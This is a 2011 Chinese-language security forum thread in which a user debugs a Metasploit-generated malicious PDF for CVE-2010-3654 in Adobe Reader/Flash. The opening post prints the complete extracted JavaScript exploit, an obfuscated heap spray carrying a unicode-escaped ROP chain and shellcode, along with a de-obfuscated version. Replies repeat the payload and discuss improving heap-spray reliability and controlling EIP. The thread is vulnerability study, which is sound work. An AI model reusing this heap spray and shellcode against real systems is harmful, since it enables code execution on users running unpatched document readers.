首页
社区
课程
招聘
[求助]cve-2010-3654调试问题
发表于: 2011-3-23 09:52 6269

[求助]cve-2010-3654调试问题

2011-3-23 09:52
6269
下载了最新版本的metasploit framework 3.6,安装后使用metasploit GUI,用Exploits->windows->fileformat->adobe_flashplayer_button生成了msf.pdf,功能是弹出一个MessageBox对话框,生成的文件是利用了cve-2010-3654漏洞。
以下该程序都受到该漏洞的影响:
Windows, Macintosh, Linux and Solaris 下的Adobe Flash Player 10.1.85.3及更早的版本;
Android 移动平台下的Adobe Flash Player 10.1.95.2 及更早的版本;
Windows, Macintosh and UNIX 平台下的Adobe Reader 9.4 和 更早的 9.x 版本;
Windows 和 Macintosh 下的9.4 和更早的9.x 版本。

我的调试环境:
OS:winxp sp2 英文版
安装Adobe Reader 9.4.0

msf.pdf在该环境下运行产生异常,未实现原有功能弹出对话框,softice截获如下图:


可见,ESI地址所指向的内容未被初始化,在赋值给EAX时产生异常。
是heap spray的过程不成功,还是程序异常处理的问题呢?

在msf.pdf中,经解压接编码后提取了javascript代码:

var nMAgvzQKrRsugsftffsLleBANhoMWTjPjJJZQPakekmLkkQtVvGyfeQTVfImYYetRqSCbNWLVoPrRzpFBvQWvAPNnuhVWHLkUCos = unescape;
var UcUgJLqvOVFQxPYzELjUybxoYWwvfmFohHUFaRRCMmvDATo = nMAgvzQKrRsugsftffsLleBANhoMWTjPjJJZQPakekmLkkQtVvGyfeQTVfImYYetRqSCbNWLVoPrRzpFBvQWvAPNnuhVWHLkUCos( '%u0c0c%u0c0c%u2fe1%u0700%ucccc%ucccc%ucccc%ucccc%u0c1c%u0c0c%u4919%u0700%ucccc%ucccc%u48ef%u0700%u156f%u0700%ucccc%ucccc%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9033%u0700%u9084%u0700%u0c0c%u0c0c%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u1599%u0700%u0124%u0001%u72f7%u0700%u0104%u0001%u15bb%u0700%u1000%u0000%u154d%u0700%u15bb%u0700%u0300%u7ffe%u7fb2%u0700%u15bb%u0700%u0011%u0001%ua8ac%u0700%u15bb%u0700%u0100%u0001%ua8ac%u0700%u72f7%u0700%u0011%u0001%u52e2%u0700%u5c54%u0700%uffff%uffff%u0100%u0001%u0000%u0000%u0104%u0001%u1000%u0000%u0040%u0000%ud731%u0700%u15bb%u0700%u905a%u9054%u154d%u0700%ua722%u0700%u15bb%u0700%ueb5a%u5815%u154d%u0700%ua722%u0700%u15bb%u0700%u1a8b%u1889%u154d%u0700%ua722%u0700%u15bb%u0700%uc083%u8304%u154d%u0700%ua722%u0700%u15bb%u0700%u04c2%ufb81%u154d%u0700%ua722%u0700%u15bb%u0700%u0c0c%u0c0c%u154d%u0700%ua722%u0700%u15bb%u0700%uee75%u05eb%u154d%u0700%ua722%u0700%u15bb%u0700%ue6e8%uffff%u154d%u0700%ua722%u0700%u15bb%u0700%u90ff%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%uffff%u90ff%u154d%u0700%ud731%u0700%u112f%u0700%ucdb8%u2d15%ud9c6%ud9ca%u2474%u5af4%uc931%u44b1%u4231%u8314%ufcea%u4203%u2f10%uf4e0%u342d%u73d2%ube96%ua9d4%u4964%u8726%u3eed%u2739%u3665%uccb6%uaa0f%u944d%u59e7%u392f%u6b73%u76e8%ue69b%ud0fb%ud99a%u0303%u52fc%ue097%uefd9%ud52d%ubbaa%u5d85%ua9ac%ud75d%ua6b6%uc838%u53c7%u3c5f%u2881%ub694%uc010%u37e4%udc23%u64fb%u1cc0%u7277%u5308%u7d75%u804d%u4672%u722d%ucc53%uf12c%u0af9%ueeae%ud998%ubbbc%u84ef%u3aa0%ub31b%ub7dd%u2cda%u8354%ub0f8%uc806%uc1b3%u1ae1%u343a%u6078%u3955%u6a35%u174a%ued22%u676d%u984d%u9cd7%ue409%u7e0f%u9f1e%u5bac%u77b3%u5c42%u78cc%ue6d2%uee3b%u8489%uaf1b%u6639%u016e%ue0de%u2efb%u837b%u8c8b%u69a7%uca05%u92fe%u1640%uae76%uad3b%u8d20%u6df1%uceb7%udf2d%u8f50%u20d2%u385f%ua642%u99f8%u37f4%ubc9e%udf46%u5a2d%u6c34%u7f9f%uce32%u75fb%u0dca%ud26b%uf1ec%u8a4c%ua2a1%u6bca%u3652%u06bc%ude82%uf52d%u78e2%u4dda%ue886%u7f76%u7881%u5bca%uf101%u9232%u53f3%u84e6%uaca1%u16d8%u0286%u0d26%u410e' );
var UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup = nMAgvzQKrRsugsftffsLleBANhoMWTjPjJJZQPakekmLkkQtVvGyfeQTVfImYYetRqSCbNWLVoPrRzpFBvQWvAPNnuhVWHLkUCos( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup.length + 20 + 8 < 65536) UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup+=UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup;
teUtBmx = UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup.substring(0, (0x0c0c-0x24)/2);
teUtBmx += UcUgJLqvOVFQxPYzELjUybxoYWwvfmFohHUFaRRCMmvDATo;
teUtBmx += UqTZVwdgKzkpexcphECnLXmrmgfWkbUoOWvlEOfNsUuANlgLfhiwIJmrgzPouBGBCSASbMOzomnIjzIIMYNup;
qKMnqzgBhmJODWGgSifEFjtbOZtOcyLPvnjPTCuKQRWCdHRbCCEToRjPToxBUbxzx = teUtBmx.substring(0, 65536/2);
while(qKMnqzgBhmJODWGgSifEFjtbOZtOcyLPvnjPTCuKQRWCdHRbCCEToRjPToxBUbxzx.length < 0x80000) qKMnqzgBhmJODWGgSifEFjtbOZtOcyLPvnjPTCuKQRWCdHRbCCEToRjPToxBUbxzx += qKMnqzgBhmJODWGgSifEFjtbOZtOcyLPvnjPTCuKQRWCdHRbCCEToRjPToxBUbxzx;
xfdMCowhzZiwAQuGixUrVLeuHqOgKiogbeYolfDPWWcyFeYRVbvWZTxbxRvrbkUPYFtVbkShnGQoYqWewWFSSTJUf = qKMnqzgBhmJODWGgSifEFjtbOZtOcyLPvnjPTCuKQRWCdHRbCCEToRjPToxBUbxzx.substring(0, 0x80000 - (0x1020-0x08) / 2);
var qacqPnNjszyQLvXuHytQKnPbcqUpovgzfPrzuGPcnYNBPyAiOaFhJeSIwOjfMlPMLdVRdYK = new Array();
for (RvHUeDSvlKuDdZvDPwcE=0;RvHUeDSvlKuDdZvDPwcE<0x1f0;RvHUeDSvlKuDdZvDPwcE++) qacqPnNjszyQLvXuHytQKnPbcqUpovgzfPrzuGPcnYNBPyAiOaFhJeSIwOjfMlPMLdVRdYK[RvHUeDSvlKuDdZvDPwcE]=xfdMCowhzZiwAQuGixUrVLeuHqOgKiogbeYolfDPWWcyFeYRVbvWZTxbxRvrbkUPYFtVbkShnGQoYqWewWFSSTJUf+"s";

不知道为什么会写的这么复杂,简化一下代码如下:
var a1 = unescape;
var a2 = a1( '%u0c0c%u0c0c%u2fe1%u0700%ucccc%ucccc%ucccc%ucccc%u0c1c%u0c0c%u4919%u0700%ucccc%ucccc%u48ef%u0700%u156f%u0700%ucccc%ucccc%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9033%u0700%u9084%u0700%u0c0c%u0c0c%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u1599%u0700%u0124%u0001%u72f7%u0700%u0104%u0001%u15bb%u0700%u1000%u0000%u154d%u0700%u15bb%u0700%u0300%u7ffe%u7fb2%u0700%u15bb%u0700%u0011%u0001%ua8ac%u0700%u15bb%u0700%u0100%u0001%ua8ac%u0700%u72f7%u0700%u0011%u0001%u52e2%u0700%u5c54%u0700%uffff%uffff%u0100%u0001%u0000%u0000%u0104%u0001%u1000%u0000%u0040%u0000%ud731%u0700%u15bb%u0700%u905a%u9054%u154d%u0700%ua722%u0700%u15bb%u0700%ueb5a%u5815%u154d%u0700%ua722%u0700%u15bb%u0700%u1a8b%u1889%u154d%u0700%ua722%u0700%u15bb%u0700%uc083%u8304%u154d%u0700%ua722%u0700%u15bb%u0700%u04c2%ufb81%u154d%u0700%ua722%u0700%u15bb%u0700%u0c0c%u0c0c%u154d%u0700%ua722%u0700%u15bb%u0700%uee75%u05eb%u154d%u0700%ua722%u0700%u15bb%u0700%ue6e8%uffff%u154d%u0700%ua722%u0700%u15bb%u0700%u90ff%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%uffff%u90ff%u154d%u0700%ud731%u0700%u112f%u0700%ucdb8%u2d15%ud9c6%ud9ca%u2474%u5af4%uc931%u44b1%u4231%u8314%ufcea%u4203%u2f10%uf4e0%u342d%u73d2%ube96%ua9d4%u4964%u8726%u3eed%u2739%u3665%uccb6%uaa0f%u944d%u59e7%u392f%u6b73%u76e8%ue69b%ud0fb%ud99a%u0303%u52fc%ue097%uefd9%ud52d%ubbaa%u5d85%ua9ac%ud75d%ua6b6%uc838%u53c7%u3c5f%u2881%ub694%uc010%u37e4%udc23%u64fb%u1cc0%u7277%u5308%u7d75%u804d%u4672%u722d%ucc53%uf12c%u0af9%ueeae%ud998%ubbbc%u84ef%u3aa0%ub31b%ub7dd%u2cda%u8354%ub0f8%uc806%uc1b3%u1ae1%u343a%u6078%u3955%u6a35%u174a%ued22%u676d%u984d%u9cd7%ue409%u7e0f%u9f1e%u5bac%u77b3%u5c42%u78cc%ue6d2%uee3b%u8489%uaf1b%u6639%u016e%ue0de%u2efb%u837b%u8c8b%u69a7%uca05%u92fe%u1640%uae76%uad3b%u8d20%u6df1%uceb7%udf2d%u8f50%u20d2%u385f%ua642%u99f8%u37f4%ubc9e%udf46%u5a2d%u6c34%u7f9f%uce32%u75fb%u0dca%ud26b%uf1ec%u8a4c%ua2a1%u6bca%u3652%u06bc%ude82%uf52d%u78e2%u4dda%ue886%u7f76%u7881%u5bca%uf101%u9232%u53f3%u84e6%uaca1%u16d8%u0286%u0d26%u410e' );
var a3 = a1( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a3.length + 20 + 8 < 65536) a3+=a3;
teUtBmx = a3.substring(0, (0x0c0c-0x24)/2);
teUtBmx += a2;
teUtBmx += a3;
a4 = teUtBmx.substring(0, 65536/2);
while(a4.length < 0x80000) a4 += a4;
a5 = a4.substring(0, 0x80000 - (0x1020-0x08) / 2);
var a6 = new Array();
for (a7=0;a7<0x1f0;a7++) a6[a7]=a5+"s";

看了网上的一些介绍,上面a2应该是包括了异常处理部分和shellcode(实现弹出对话框),但是我不知道问题到底出在哪里,希望高手指点,谢谢!!!

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
var a2 = a1( '%u0c0cఌ⿡܀쳌쳌쳌쳌జఌ䤙܀쳌쳌䣯܀ᕯ܀쳌쳌還܀還܀還܀還܀還܀還܀逳܀還܀ఌఌ還܀還܀還܀還܀還܀還܀還܀還܀ᖙ܀Ĥ狷܀Ąᖻ܀ကᕍ܀ᖻ܀̀翾羲܀ᖻ܀ꢬ܀ᖻ܀Āꢬ܀狷܀勢܀屔܀￿￿ĀĄက@휱܀ᖻ܀遚達ᕍ܀Ꜣ܀ᖻ܀堕ᕍ܀Ꜣ܀ᖻ܀᪋ᢉᕍ܀Ꜣ܀ᖻ܀삃茄ᕍ܀Ꜣ܀ᖻ܀ӂﮁᕍ܀Ꜣ܀ᖻ܀ఌఌᕍ܀Ꜣ܀ᖻ܀׫ᕍ܀Ꜣ܀ᖻ܀￿ᕍ܀Ꜣ܀ᖻ܀郿邐ᕍ܀Ꜣ܀ᖻ܀邐邐ᕍ܀Ꜣ܀ᖻ܀邐邐ᕍ܀Ꜣ܀ᖻ܀￿郿ᕍ܀휱܀ᄯ܀춸ⴕ⑴嫴줱䒱䈱茔ﳪ䈃⼐㐭珒뺖꧔䥤蜦㻭✹㙥첶ꨏ鑍姧㤯歳盨탻̃勼픭뮪嶅ꦬ흝ꚶ져叇㱟⢁뚔쀐㟤擻᳀牷匈絵聍䙲爭챓ૹ뮼蓯㪠댛럝Ⳛ荔냸젆솳᫡㐺恸㥕樵ᝊ杭額鳗縏鼞宬瞳层磌蒉꼛昹Ů⻻荻貋榧쨅鋾ᙀ깶괻贠深캷轐⃒㡟Ꙃ駸㟴벞娭水羟츲痻්퉫詌ꊡ毊㙒ڼ磢䷚罶碁寊鈲右蓦겡ᛘʆദ䄎' );
2011-3-23 10:19
0
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
var a2 = a1( '%u0c0c%u0c0c%u2fe1%u0700%ucccc%ucccc%ucccc%ucccc%u0c1c%u0c0c%u4919%u0700%ucccc%ucccc%u48ef%u0700%u156f%u0700%ucccc%ucccc%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9033%u0700%u9084%u0700%u0c0c%u0c0c%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u9084%u0700%u1599%u0700%u0124%u0001%u72f7%u0700%u0104%u0001%u15bb%u0700%u1000%u0000%u154d%u0700%u15bb%u0700%u0300%u7ffe%u7fb2%u0700%u15bb%u0700%u0011%u0001%ua8ac%u0700%u15bb%u0700%u0100%u0001%ua8ac%u0700%u72f7%u0700%u0011%u0001%u52e2%u0700%u5c54%u0700%uffff%uffff%u0100%u0001%u0000%u0000%u0104%u0001%u1000%u0000%u0040%u0000%ud731%u0700%u15bb%u0700%u905a%u9054%u154d%u0700%ua722%u0700%u15bb%u0700%ueb5a%u5815%u154d%u0700%ua722%u0700%u15bb%u0700%u1a8b%u1889%u154d%u0700%ua722%u0700%u15bb%u0700%uc083%u8304%u154d%u0700%ua722%u0700%u15bb%u0700%u04c2%ufb81%u154d%u0700%ua722%u0700%u15bb%u0700%u0c0c%u0c0c%u154d%u0700%ua722%u0700%u15bb%u0700%uee75%u05eb%u154d%u0700%ua722%u0700%u15bb%u0700%ue6e8%uffff%u154d%u0700%ua722%u0700%u15bb%u0700%u90ff%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%u9090%u9090%u154d%u0700%ua722%u0700%u15bb%u0700%uffff%u90ff%u154d%u0700%ud731%u0700%u112f%u0700%ucdb8%u2d15%ud9c6%ud9ca%u2474%u5af4%uc931%u44b1%u4231%u8314%ufcea%u4203%u2f10%uf4e0%u342d%u73d2%ube96%ua9d4%u4964%u8726%u3eed%u2739%u3665%uccb6%uaa0f%u944d%u59e7%u392f%u6b73%u76e8%ue69b%ud0fb%ud99a%u0303%u52fc%ue097%uefd9%ud52d%ubbaa%u5d85%ua9ac%ud75d%ua6b6%uc838%u53c7%u3c5f%u2881%ub694%uc010%u37e4%udc23%u64fb%u1cc0%u7277%u5308%u7d75%u804d%u4672%u722d%ucc53%uf12c%u0af9%ueeae%ud998%ubbbc%u84ef%u3aa0%ub31b%ub7dd%u2cda%u8354%ub0f8%uc806%uc1b3%u1ae1%u343a%u6078%u3955%u6a35%u174a%ued22%u676d%u984d%u9cd7%ue409%u7e0f%u9f1e%u5bac%u77b3%u5c42%u78cc%ue6d2%uee3b%u8489%uaf1b%u6639%u016e%ue0de%u2efb%u837b%u8c8b%u69a7%uca05%u92fe%u1640%uae76%uad3b%u8d20%u6df1%uceb7%udf2d%u8f50%u20d2%u385f%ua642%u99f8%u37f4%ubc9e%udf46%u5a2d%u6c34%u7f9f%uce32%u75fb%u0dca%ud26b%uf1ec%u8a4c%ua2a1%u6bca%u3652%u06bc%ude82%uf52d%u78e2%u4dda%ue886%u7f76%u7881%u5bca%uf101%u9232%u53f3%u84e6%uaca1%u16d8%u0286%u0d26%u410e' );
2011-3-23 10:22
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
4
在英文版XP SP3下试下
2011-3-23 10:27
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
5
3654是flash的一个洞,建议在ie下进行调试分析,PDF中进行分析的难度有点大,呵呵
2011-3-23 10:34
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
winsee是什么意思?
2011-3-23 10:56
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我用虚拟机winxp sp3还是不行 ,不知道这个在ie下怎么调试,是在ie下打开畸形的swf么?
2011-3-23 10:59
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
8
对,先安装对应有漏洞版本的flash,然后再使用IE打开flash,
呵呵,如果你是分析漏洞的话,
如果你是写漏洞利用的话,我说的方法就不适用了,
2011-3-23 13:09
0
雪    币: 345
活跃值: (122)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
9
做heapspray覆盖的地址不固定,有时候就是会出现上面的情况。也许第二次打开就好了。
2011-3-23 14:14
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
那如果是利用漏洞,应该怎么做呢?什么样的方法合适呢?
怎样才能使得EIP跳到我们预期的位置呢?
2011-3-23 14:54
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
11
不知道哈,没有做过PDF的利用,多找几个样本,应该就有成功的,然后再分析
2011-3-23 18:10
0
雪    币: 345
活跃值: (122)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
12
有些漏洞应为可控地址不固定,所以不得而已才使用了heap spray的方法。为了使溢出稳定,只有调整heap spray覆盖地址空间的范围。
2011-3-24 09:43
0
雪    币: 21
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
再问一下,这种情况是否可以确定是heap spray的问题?产生异常时,我再内存中查找过shellcode,只找到了几处,而且之间的内存也不连续,按理说heap spray应该是覆盖一大块内存空间的。
2011-3-25 08:09
0
游客
登录 | 注册 方可回帖
返回
//